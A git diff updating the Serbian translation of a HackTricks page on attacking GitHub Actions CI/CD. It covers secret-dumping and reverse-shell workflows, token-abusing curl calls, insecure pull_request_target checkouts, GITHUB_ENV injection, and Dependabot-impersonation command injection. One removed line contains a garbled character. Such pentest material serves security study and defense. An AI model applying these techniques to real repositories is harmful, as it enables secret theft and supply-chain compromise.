mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -4,52 +4,52 @@
|
||||
|
||||
## Alati
|
||||
|
||||
Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:
|
||||
Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih primeraka:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Proverite i njegovu kontrolnu listu na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte takođe checklist u [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
Na ovoj stranici ćete pronaći:
|
||||
Na ovoj stranici ćete naći:
|
||||
|
||||
- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
|
||||
- Različite načine da **dobijete pristup akciji**:
|
||||
- Imajući **dozvole** za kreiranje akcije
|
||||
- Zloupotreba **okidača** povezanih sa pull request-om
|
||||
- Zloupotreba **drugih tehnika spoljnog pristupa**
|
||||
- **Pivotiranje** iz već kompromitovanog repozitorijuma
|
||||
- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)
|
||||
- Kratak pregled svih **posledica** koje napadač može izazvati ako uspe da pristupi Github Action
|
||||
- Različiti načini kako **dobiti pristup action-u**:
|
||||
- Imati **dozvole** za kreiranje action-a
|
||||
- Zloupotreba okidača vezanih za **pull request**
|
||||
- Zloupotreba drugih tehnika eksternog pristupa
|
||||
- **Pivoting** sa već kompromitovanog repo-a
|
||||
- Na kraju, sekcija o **post-exploitation tehnikama za zloupotrebu action-a iznutra** (koje prouzrokuju prethodno navedene posledice)
|
||||
|
||||
## Rezime Uticaja
|
||||
## Rezime posledica
|
||||
|
||||
Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).
|
||||
Za uvod u [**Github Actions pogledajte osnovne informacije**](../basic-github-information.md#github-actions).
|
||||
|
||||
Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
|
||||
Ako možete **izvršiti proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, mogli biste:
|
||||
|
||||
- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da biste dobili neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
|
||||
- **Kompromitujete implementacije** i druge **artefakte**.
|
||||
- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja.
|
||||
- **Izvršite kod u prilagođenim radnicima** da biste zloupotrebili računske resurse i pivotirali na druge sisteme.
|
||||
- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
|
||||
- **Krađa secrets** montiranih u pipeline i **zloupotreba privilegija pipeline-a** za neautorizovan pristup eksternim platformama, kao što su AWS i GCP.
|
||||
- **Kompromitovanje deployments** i drugih **artefakata**.
|
||||
- Ako pipeline deployuje ili skladišti asset-e, možete izmeniti finalni proizvod, omogućavajući supply chain attack.
|
||||
- **Izvršavanje koda u custom workers** radi zloupotrebe računarske snage i pivotovanja na druge sisteme.
|
||||
- **Prepisivanje koda repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju:
|
||||
Ovaj "**secret**" (potiče iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) dodeljuje se kada admin omogući ovu opciju:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovaj token je isti koji će koristiti **Github aplikacija**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Ovaj token je isti koji će koristiti **Github Application**, tako da može pristupiti istim endpointima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
|
||||
> Github bi trebalo da objavi a [**flow**](https://github.com/github/roadmap/issues/74) koji **omogućava cross-repository** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
|
||||
|
||||
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Napomena da token **isteče nakon što je posao završen**.\
|
||||
Obratite pažnju da token **isteče nakon završetka job-a**.\
|
||||
Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
|
||||
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Odobri PR" }}
|
||||
{{#tab name="Approve PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Kreiraj PR" }}
|
||||
{{#tab name="Create PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.
|
||||
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni vam mogu dati veće privilegije nad repozitorijumom i organizacijom.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lista tajni u Github Action izlazu</summary>
|
||||
<summary>Prikaži secrets u izlazu Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
|
||||
<summary>Dobijte reverse shell koristeći secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija:
|
||||
Moguće je proveriti dozvole dodeljene Github Token-u u drugim korisničkim repositories tako što ćete proveriti logove Github actions:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Dozvoljena Izvršenja
|
||||
## Dozvoljeno izvršavanje
|
||||
|
||||
> [!NOTE]
|
||||
> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**.
|
||||
> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **create a new repo in the organization**, ili da imate **write privileges over a repository**.
|
||||
>
|
||||
> Ako ste u ovom scenariju, možete jednostavno proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Ako ste u ovoj situaciji, možete jednostavno pogledati [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Izvršenje iz Kreiranja Repozitorijuma
|
||||
### Izvršavanje preko kreiranja repoa
|
||||
|
||||
U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**.
|
||||
U slučaju da članovi organizacije mogu **create new repos** i da možete izvršavati github actions, možete **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Izvršenje iz Nove Grane
|
||||
### Izvršavanje preko novog brancha
|
||||
|
||||
Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
|
||||
Ako možete **create a new branch in a repository that already contains a Github Action** konfigurisan, možete ga **modify**, **upload** sadržaj, i potom **execute that action from the new branch**. Na ovaj način možete **exfiltrate repository and organization level secrets** (ali morate znati kako se zovu).
|
||||
|
||||
Možete učiniti da modifikovana akcija bude izvršna **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
|
||||
> [!WARNING]
|
||||
> Bilo kakvo ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, ili manual gates) može biti izmenjeno od strane saradnika. Bez spoljne primene (branch protections, protected environments, i protected tags), contributor može preusmeriti workflow da se pokrene na njegovom branch-u i zloupotrebiti montirane secrets/permissions.
|
||||
|
||||
Možete napraviti izmenjeni action izvršnim **manually,** kada je **PR is created** ili kada je **some code is pushed** (u zavisnosti koliko želite da budete bučni):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -177,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Izvršavanje iz fork-a
|
||||
|
||||
> [!NOTE]
|
||||
> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
|
||||
> Postoje različiti trigger-i koji bi napadaču mogli omogućiti da **execute a Github Action of another repository**. Ako su te trigger-abilne akcije loše konfigurisane, napadač bi mogao uspeti da ih kompromituje.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
|
||||
The workflow trigger **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neke izuzetke: po default-u ako je to **prvi put** da doprinosite, neki **maintainer** će morati da **odobri** **pokretanje** workflow-a:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važne greške/tipa** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
|
||||
> Pošto je **podrazumevano ograničenje** za **prvi put** doprinosioce, možete doprineti **ispravljajući validan bug/typo** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
|
||||
>
|
||||
> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~
|
||||
> **I testirao sam ovo i ne radi**: ~~Druga opcija bi bila da napravite nalog sa imenom nekoga ko je doprineo projektu i obrisao svoj nalog.~~
|
||||
|
||||
Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Štaviše, po default-u to **sprečava write permissions** i **secrets access** ka ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.
|
||||
Napadač može izmeniti definiciju Github Action-a kako bi izvršio proizvoljne komande i dodao proizvoljne akcije. Međutim, zbog pomenutih ograničenja neće moći da ukrade secrets ili prepiše repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**
|
||||
> **Da, ako napadač promeni u PR-u github action koji će biti okinut, njegov Github Action će biti taj koji se koristi, a ne onaj iz originalnog repozitorijuma!**
|
||||
|
||||
Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
|
||||
Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi na primer mogao **otpremiti maliciozne artefakte**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
Okidač radnog toka **`pull_request_target`** ima **pisanu dozvolu** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).
|
||||
The workflow trigger **`pull_request_target`** ima **write permission** ka ciljanom repozitorijumu i **access to secrets** (i ne traži odobrenje).
|
||||
|
||||
Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Napomena da workflow trigger **`pull_request_target`** **pokreće se u base context-u** a ne u onom koji daje PR (da **ne bi izvršavao nepoverljiv kod**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Štaviše, za više informacija o ovom specifično opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Možda izgleda kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
|
||||
Može delovati da je bezbedno koristiti **`pull_request_target`** zato što se **izvršeni workflow** definiše u **base-u** a **ne u PR-u**, ali postoje **nekoliko slučajeva gde to nije**.
|
||||
|
||||
A ovaj će imati **pristup tajnama**.
|
||||
I ovaj će imati **access to secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) okidač omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger omogućava da se workflow pokrene iz drugog kada je `completed`, `requested` ili `in_progress`.
|
||||
|
||||
U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok:
|
||||
U ovom primeru, workflow je konfigurisan da se pokrene nakon što se odvojeni "Run Tests" workflow završi:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -227,29 +230,29 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.
|
||||
Štaviše, prema dokumentaciji: workflow pokrenut događajem `workflow_run` može da **pristupi secrets i write tokens, čak i ako prethodni workflow nije**.
|
||||
|
||||
Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
|
||||
Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**.
|
||||
Ovakav workflow može biti napadnut ako **zavisi** od **workflow** koji eksterni korisnik može **pokrenuti** putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se naći u [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi primer se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}`
|
||||
Drugi primer se sastoji u **prosleđivanju** **artifact**-a iz **untrusted** koda u **`workflow_run`** workflow i korišćenju sadržaja tog artifact-a na način koji ga čini **vulnerable to RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originala ili iz forkovanog PR
|
||||
TODO: Proveriti da li kada se izvršava iz pull_request koristi/preuzima kod iz origin ili iz forkovanog PR-a
|
||||
|
||||
## Zloupotreba Forkovane Izvršavanja
|
||||
## Zloupotreba forkovanog izvršavanja
|
||||
|
||||
Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene:
|
||||
Pomenuo/la smo sve načine na koje eksterni napadač može naterati github workflow da se izvrši, sada hajde da pogledamo kako se ta izvršavanja, ako su loše konfigurisana, mogu zloupotrebiti:
|
||||
|
||||
### Nepouzdan checkout izvršavanje
|
||||
### Untrusted checkout execution
|
||||
|
||||
U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i izvršiće se sa nekim [ograničenjima](#pull_request).
|
||||
U slučaju **`pull_request`**, workflow će se izvršiti u **kontekstu PR-a** (dakle izvršiće **malicious PRs code**), ali neko mora to prvo **odobriti** i on će se izvršavati sa određenim [ograničenjima](#pull_request).
|
||||
|
||||
U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
|
||||
U slučaju workflow-a koji koristi **`pull_request_target` or `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` or `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
|
||||
> Međutim, ako **action** ima **explicit PR checkout** koji će **dohvatiti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima PR kod):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -279,32 +282,32 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**.
|
||||
Potencijalno **untrusted code se izvršava tokom `npm install` ili `npm build`** jer su build skripte i referencirani **packages pod kontrolom autora PR-a**.
|
||||
|
||||
> [!WARNING]
|
||||
> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
|
||||
> Github dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se konfigurišu jobs da se izvršavaju sigurno čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR).
|
||||
|
||||
### Kontekst Injekcije Skripti <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:**
|
||||
Imajte na umu da postoje određeni [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github action koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **arbitrary code execution:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Injekcija Skripti** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
|
||||
Iz dokumentacije: Možete učiniti da **environment variable bude dostupan svim narednim koracima** u workflow job-u tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** environment fajl.
|
||||
|
||||
Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u sledećim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
|
||||
Ako bi napadač mogao da **ubaci bilo koju vrednost** u ovu **env** promenljivu, mogao bi da ubaci env promenljive koje bi mogle izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
|
||||
|
||||
Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
|
||||
Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da uploaduje nešto ovakvo da bi ga kompromitovao:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot i drugi pouzdani botovi
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Kao što je navedeno u [**ovom blog postu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github akciju koja spaja bilo koji PRR od `dependabot[bot]` kao u:
|
||||
Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PR od `dependabot[bot]` kao u:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Koji je problem jer polje `github.actor` sadrži korisnika koji je izazvao najnoviji događaj koji je pokrenuo radni tok. I postoji nekoliko načina da se korisnik `dependabot[bot]` natera da izmeni PR. Na primer:
|
||||
To predstavlja problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer:
|
||||
|
||||
- Forkujte žrtvovano skladište
|
||||
- Dodajte zloćudni payload u svoju kopiju
|
||||
- Omogućite Dependabot na svom fork-u dodajući zastarelu zavisnost. Dependabot će kreirati granu koja ispravlja zavisnost sa zloćudnim kodom.
|
||||
- Otvorite Pull Request ka žrtvovanom skladištu iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
|
||||
- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u svom fork-u i pokreće `@dependabot recreate`
|
||||
- Zatim, Dependabot izvršava neke radnje u toj grani, koje su izmenile PR u žrtvovanom repo-u, što čini `dependabot[bot]` akterom najnovijeg događaja koji je pokrenuo radni tok (i stoga, radni tok se pokreće).
|
||||
- Napravite fork repository-ja žrtve
|
||||
- Dodajte malicious payload u svoju kopiju
|
||||
- Omogućite Dependabot na svom forku dodavanjem zastarele dependency. Dependabot će kreirati branch koji ispravlja dependency sa malicious kodom.
|
||||
- Otvorite Pull Request ka repository-ju žrtve iz tog branch-a (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti)
|
||||
- Zatim, napadač se vraća na početni PR koji je Dependabot otvorio u njegovom forku i pokreće `@dependabot recreate`
|
||||
- Zatim Dependabot izvrši neke akcije na tom branch-u, koje izmeniše PR u repository-ju žrtve, čime je `dependabot[bot]` postao autor poslednjeg događaja koji je pokrenuo workflow (i stoga, workflow se pokreće).
|
||||
|
||||
Nastavljajući, šta ako umesto spajanja Github Action bi imao injekciju komandi kao u:
|
||||
Idemo dalje, šta ako umesto merge-ovanja Github Action ima command injection kao u:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Pa, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, a druga je:
|
||||
Pa, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga:
|
||||
|
||||
- Forkujte repozitorijum žrtve i omogućite Dependabot sa nekim zastarelim zavisnostima.
|
||||
- Kreirajte novu granu sa zloćudnim kodom za shell injekciju.
|
||||
- Promenite podrazumevanu granu repozitorijuma na tu.
|
||||
- Kreirajte PR iz ove grane u repozitorijum žrtve.
|
||||
- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku.
|
||||
- Dependabot će spojiti svoje izmene u podrazumevanu granu vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` aktera poslednjeg događaja koji je pokrenuo radni tok i koristeći zloćudno ime grane.
|
||||
- Fork the victim repository and enable Dependabot with some outdated dependency.
|
||||
- Create a new branch with the malicious shell injeciton code.
|
||||
- Change the default branch of the repo to that one
|
||||
- Create a PR from this branch to the victim repository.
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
|
||||
|
||||
### Ranljive Treće Strane Github Akcije
|
||||
### Ranjive Third-Party GitHub Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma.
|
||||
